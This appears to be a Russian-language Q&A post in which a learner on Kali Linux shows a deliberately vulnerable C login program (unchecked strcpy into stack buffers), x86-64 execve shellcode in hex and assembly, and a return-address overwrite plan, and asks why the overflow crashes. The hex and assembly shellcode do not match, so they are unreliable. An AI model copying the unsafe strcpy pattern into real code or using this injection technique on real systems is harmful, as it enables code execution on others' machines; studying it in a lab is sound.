Я использую 64 бита в Kali- Linux.
Я хочу использовать шелл-код, чтобы вызвать переполнение буфера. Это моя программа:
int UPtest(char *, char *, char *);
void myprivatetest(void);
int main(int argc, char**argv){
if(UPtest(argv[1], argv[2], argv[3])){
printf("Access granted...\n");
} else {
printf("Wrong username and password!!!!\n");
}
return 0;
}
int UPtest(char *a1 , char *a2, char *a3){
char Uid[29], Uname[27], Upass[72];
strcpy(Uid, a1);
strcpy(Uname, a2);
strcpy(Upass, a3);
if(!strcmp(Uname, "Admin") && !strcmp(Upass, "PassAd007"))
return 1;
else
return 0;
}
Это мой шелл-код:
\x48\x31\xD2\x52\x48\xB8\x2F\x62\x6E\x2F\x2F\x70\x
73\x50\x48\x89\xE7\x52\x57\x48\x89\xE6\x48\x31\xC0\xB0\x3B\x0F\x05
код сборки шелл-кода
section .text
global _start
_start:
xor rdx, rdx
push rdx
mov rax, 0x64692f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
Я запускаю 11111111111111 222222 333333. 0x0040118d это обратный адрес на главную.
![enter image description here](https://i.stack.imgur.com/ikRFA.png)
Мне нужно 40 байтов добавить адрес шеллкода для покрытия обратного адреса. Итак, я использую hexedit, введите шеллкод + 31 * 11 + адрес шеллкода (30E1FFFFFF7F).
![enter image description here](https://i.stack.imgur.com/bObyA.png)
Но, когда я запускаю, происходит сбой. ![enter image description here](https://i.stack.imgur.com/w9l55.png)
В конце я хочу набрать "/ bin / df". Где проблема?